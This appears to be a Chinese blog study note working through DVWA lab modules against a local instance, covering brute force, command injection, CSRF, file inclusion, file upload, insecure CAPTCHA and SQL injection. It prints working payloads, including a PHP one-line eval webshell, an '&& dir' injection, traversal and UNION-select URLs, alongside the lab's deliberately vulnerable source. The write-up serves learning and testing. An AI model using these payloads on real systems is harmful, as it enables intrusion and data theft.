DVWA学习笔记
原来装的DVWA没有认认真真地做一遍,靶场环境也有点问题了,到github上面重新下载了一遍:https://github.com/ethicalhack3r/DVWA
复习常见的高危漏洞,产生,利用,防范的方法
DVWA靶场在本地的搭建不再赘述,网上有很多优秀的博客
将级别设置为Low
第一个模块是Brute Force,暴力破解模块
当输入错误的账号密码时,页面会返回错误信息
当输入正确的账号密码时,页面会返回正确信息
使用burpsuite抓包之后暴力破解账号密码
因为我们不知道账号和密码,所以使用burpsuite->intruder->Cluster bomb选项,对账号密码两个参数进行爆破
但是这样的做法不足之处在于,所有的尝试次数=字典用户名数量X字典密码数量,用户名和密码的数量稍微大一点,运行次数就会非常大,所以在真实环境中,我们尽量手动先对用户名进行测试,查看页面的报错信息,有很多网站都会显示是用户名错误,还是密码错误,以此来判断用户名是否存在,再对存在的用户名专门进行密码爆破,减少了很多不必要的工作量
使用burpsuite自带的用户名和密码字典,其组合数量都达到了三千多万,所以在真实环境中尽量不要采用用户名和密码同时爆破的方法。
这里为了快速看到结果,我改为了爆破账号为admin的密码
根据返回包的不同相应判断密码是否正确,这里可以看到当密码为password的时候返回包长度为4755,可知密码就是password
Request id为0的那个是我第一次登陆的时候,直接设置密码为password,所以也成功登录。
查看Low级别的Brute Force的源代码
<?php if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ]; // Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass ); // Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"]; // Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>
可以看到将我们GET输入的账号和md5加密后的密码放入了SQL查询语句进行查询,除此之外没有对登录点进行任何防御,还有这一句
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
可以看到这一句是存在SQL注入漏洞的,我们也可以使用万能密码在登录点进行登录,如构造:
密码构造如 admin' or '1'='1#,密码随便输入,即可绕过密码进行登录
第二个模块是Command Injection,命令注入
这种题目在CTF比赛中遇到过,这里是我们先输入一个ip地址,服务器会为我们ping这个IP地址
先复习一下命令注入的基础知识
命令注入攻击最初被称为Shell命令注入攻击,是由挪威一名程序员在1997年意外发现的。第一个命令注入攻击程序能随意地从一个网站删除网页,就像从磁盘或者硬盘移除文件一样简单。 ——百度百科
命令注入通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞
在命令注入中有很多的特殊符号可以进行利用,达到绕过黑名单和执行任意命令的效果。
管道符 | :连结上个指令的标准输出,做为下个指令的标准输入。
后台工作&: 当要把命令放在后台执行时,在命令的后面加上&,注意是放在完整指令列的最后端,如linux下使用tar进行文件压缩的时候,可能用时会比较长,我们就可以将其放入后台执行:
tar cvfz data.tar.gz data > /dev/null&
逻辑符号&& : 表示and的逻辑符号,当前一个命令执行成功之后,就执行&&后的一条命令
逻辑符号 || : 表示 or 的逻辑符号,当前一个命令执行失败之后,才执行||后的一条命令
在linux和windows下都可以使用&&符号进行命令的连续执行
在这里我们服务器是windows的,所以输入
127.0.0.1 && dir
可以看到不仅执行了ping 127.0.0.1的命令,还显示了当前文件夹下的文件,实现了命令注入
<?php if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>
查看命令注入 low级别的后端PHP代码
在使用php_uname('s')函数判断了我们的操作系统之后,使用shell_exec函数执行ping 我们输入ip地址的命令,我们输入了恶意数据之后,执行的命令变为了
ping 127.0.0.1 && dir
从而达到了命令注入的效果。
第三个模块是Cross Site Request Forgery (CSRF)
CSRF即跨站请求伪造,也就是可以劫持其他用户去进行一些请求,其危害的严重性由当前这个请求是什么操作来决定
可以看到这里是一个修改密码的页面,需要我们输入新密码
我们将密码修改为password试试,可以看到url变化成为了:
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
如果用户的登录信息还没有过期,点击这个链接之后,就会将密码修改为password,攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户的浏览器,让其以用户的名义运行操作。
将管理员的密码重置为admin
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
CSRF漏洞主要是用于越权操作,所有的漏洞出现在有权限控制的地方,比如说,管理后台,删除文件之类的,有空的时候可以审计一下CMS,看能不能挖掘一些CSRF的CVE
看一下CSRF low级别的后端代码:
<?php if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>
检测两次输入的密码是否相同,然后将密码md5加密之后覆盖数据库里面原来的密码值
在Burpsuite中有一个用于实现检测CSRF漏洞的功能,在对Request包右键>Engagement tools>Generate CSRF PoC,其会自动生成一个HTML文件,我们也可以使用burpsuite来利用此漏洞
第四个模块是文件包含漏洞 File Inclusion
如果有红色的提示,需要在php.ini配置文件中将allow_url_include开启为On,然后重启phpstudy
重启之后可以看到红色的警告消失了
文件包含漏洞分为了本地文件包含和远程文件包含,远程文件包含就需要设置allow_url_include=On, 因为服务器开启allow_url_include是一种危险行为,所以现在默认都是未开启的。
相对于本地文件包含,远程文件包含更容易被利用,我们先测试本地文件包含。
点击file1.php文件,可以看到url的变化为:
?page=file1.php
点击file2.php,url变换为:
?page=file2.php
所以很容易想到修改文件名,查看同目录文件夹下不能访问的文件
这里有file4.php,我们修改url为
?page=file4.php
可以看到页面变为了
:-),这正是DVWA的作者想让我们做的,当然,如果存在目录遍历漏洞的话,我们还可以访问网站上的任意文件
在fi文件夹的上一级目录中创建hi.txt文件
构造:
?page=../hi.txt
可以看到目录跳转之后显示了hi.txt文件夹的信息
接下来我们尝试远程文件包含漏洞
在本地创建2.php文件
构造payload为:
?page=http://127.0.0.1/2.php
访问执行了phpinfo(),当然也可以直接远程包含一句话木马。
看一下漏洞的源代码为:
<?php // The page we wish to display
$file = $_GET[ 'page' ]; ?>
可以看到对于输入的page文件没有进行任何过滤,成为变量file的值,文件包含后的显示在代码里并没有显示出来。
File Upload
文件上传漏洞,很常见也是能迅速拿到服务器shell的一个漏洞。
常见的连接一句话木马的工具有:中国菜刀,蚁剑,冰蝎。
我们这里还是使用中国菜刀,上传PHP一句话木马chopper.php
<?php @eval($_POST['chopper']);?>
上传后友好地返回了上传路径
菜刀连接之
可以看到已经连接成功。
查看文件上传漏洞的源代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
} ?>
首先获取到文件上传的位置,使用move_uploaded_file() 函数将上传的文件移动到新位置即我们刚才获取到的文件上传位置。
这里并没有对上传的文件是否为木马进行检查,上传成功后返回上传路径以及提示信息。
Insecure CAPTCHA
不安全的验证码,做这个题目之前需要先配置config.ini.php里面的key值,先去谷歌网站上申请key值https://www.google.com/recaptcha/admin,操作很简单,这里就不再赘述。
配置后是这样的
这里是一个修改密码的操作,火狐浏览器抓包出了点问题,直接分析源代码
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true; // Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
); // Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
} if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true; // Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>
虽然看上去操作很多,实际上就分为了两步,可以看出来,两个if进入的条件是通过是否点击change和step的数值来决定的,而step数值是我们在抓包的过程中可以进行修改的。
第一个if是检测验证码是否输入正确,输入正确后进入第二个if,进而修改密码。这里的验证码就是为了防止CSRF点击后直接修改密码,添加了输入验证码的判断。
但是不难看出,虽然谷歌的验证码没有问题,但是DVWA服务器后端对于验证码正确与否的判断是由一个用户可以修改的量step来决定的,进而我们可以令step=2,从而构建CSRF攻击。
SQL Injection
sql注入漏洞,危害最大的漏洞之一,实际的漏洞挖掘中也经常遇到,但是因为防火墙和安全狗的原因,即便学习了SQL注入,我们还需要知道怎么绕过过滤,进一步进行SQL注入攻击。同时直接将结果直接回显在页面上的注入也越来越少了,更多的时候我们需要用到盲注来获取数据。
输入ID查看页面的回显。
url为:
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=5&Submit=Submit#
在id后添加单引号报错
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27&Submit=Submit#
注释掉id后的引号页面正常
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27--+&Submit=Submit#
可以猜测后端的id变量为: '$id' 形式
查看源代码关键处如下:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
使用order by 判断字段数为2
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20order%20by%202--+&Submit=Submit#
回显位置判断:
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20and%201=2%20union%20select%201,2--+&Submit=Submit#
回显位置为1,2
简单测试一下,查看当前用户和数据库名称
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20and%201=2%20union%20select%20user(),database()--+&Submit=Submit#
可以看到已经显示了数据库的名称和用户
DVWA学习笔记的更多相关文章
- DVWA学习笔记-----环境搭建
DVWA是一款渗透测试的演练系统,在圈子里是很出名的.如果你需要入门,那么就选它了. 我们通常将演练系统称为靶机,下面请跟着我一起搭建DVWA测试环境. 安装PHP集成环境 我这里用的是phpstu ...
- dvwa学习笔记之xss
反射型Low 直接输入<script>alert(/xss/)</script>就可以发现弹窗Medium 检查源码 可以看到网站对输入字符进行了过滤,尝试双写绕过,构造< ...
- SQLMAP学习笔记2 Mysql数据库注入
SQLMAP学习笔记2 Mysql数据库注入 注入流程 (如果网站需要登录,就要用到cookie信息,通过F12开发者工具获取cookie信息) sqlmap -u "URL" - ...
- Web安全测试学习笔记-DVWA-SQL注入-2
接上一篇SQL注入的学习笔记,上一篇我通过报错信息得知后台数据库是MySQL(这个信息非常重要~),然后通过SQL注入拿到了用户表的所有行,其实我们还可以通过MySQL的特性来拿更多的信息. 1. 获 ...
- DVWA-文件上传学习笔记
DVWA-文件上传学习笔记 一.文件上传漏洞 文件上传漏洞,通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,导致攻击者恶意上传木马以便获得服务器的webshell权限. 二.DVWA学习 将 ...
- DVWA-文件包含学习笔记
DVWA-文件包含学习笔记 一.文件包含与漏洞 文件包含: 开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含. 文件包含漏洞: 开发人 ...
- DVWA-基于布尔值的盲注与基于时间的盲注学习笔记
DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...
- DVWA-CSRF学习笔记
DVWA-CSRF学习笔记 一.CSRF(跨站请求伪造) CSRF(跨站请求伪造),是指利用受害者尚未失效的身份认证信息(cookie.session会话等),诱骗其点击恶意链接或者访问包含攻击代码的 ...
- js学习笔记:webpack基础入门(一)
之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...
随机推荐
- kudu1.10基于cdh6.3.1搭建
1.下载kudu依赖: yum -y install cyrus-sasl-plain ntp 2.下载kudu rpm包: wget https://archive.cloudera.com/c ...
- Spider--补充_None_global_urlparse
# 知识点补充: # 1) None: a = None if a: print("非None") else: print("None") if a is no ...
- linux: c语言 关闭标准输出STDOUT_FILENO对父子进程的影响
简介标准 I/O 库(stdio)及其头文件 stdio.h 为底层 I/O 系统调用提供了一个通用的接口.这个库现在已经成为 ANSI 标准 C 的一部分.标准 I/O 库提供了许多复杂的函数用于格 ...
- 调试HotSpot源代码(配视频)
本文将详细介绍在Ubuntu16.04 LTS上对OpenJDK8进行编译,为了方便大家快速搭建起OpenJDK8的调试开发环境,我还录制了对应的视频放到了B站上,大家可以参考. 视频地址:https ...
- 主动关闭 time-wait 2msl 处理
先上传后面整理 /* * This routine is called by the ICMP module when it gets some * sort of error condition. ...
- parted命令采用gpt分区过程
Gpt无分区限制,故只有主分区,无扩展分区和逻辑分区.分区直接按容量算,不按柱面算. 查看分区:parted -l 将分区表类型转换为gpt.: 主要命令mklabel gpt 对sdc盘分区: [r ...
- Java 添加、读取、删除Excel中的图表趋势线
本文以Java示例介绍如何在Excel中添加趋势线,以及读取趋势线公式.通过文中的方法可支持添加6种不同类型的趋势线,包括Linear.Exponential.Logarithmic.Moving A ...
- 这次齐了!Java面向对象、类的定义、对象的使用,全部帮你搞定
概述 Java语言是一种面向对象的程序设计语言,而面向对象思想是一种程序设计思想,我们在面向对象思想的指引下, 使用Java语言去设计.开发计算机程序. 这里的对象泛指现实中一切事物,每种事物都具备自 ...
- 在线思维导图Ayoa可以用来梳理双十一优惠规则哦
一年一度的双十一又要来了,小伙伴们是否准备好开始买买买了呢?今年双十一,遇上英雄联盟S10总决赛,1/4决赛苏宁对上京东也让这个"电商大战"产生了很多有趣的梗.当然在玩梗的同时,广 ...
- 会声会影使用教程:剪辑Vlogo短视频
随着抖音.快手等视频分享软件的兴起,很多人已经开始尝试制作短视频分享.那么,对于视频制作新手来说,短视频的制作难度大吗?其实,只要选对了视频制作软件,视频制作将会变得相当简单. 在众多视频制作软件中, ...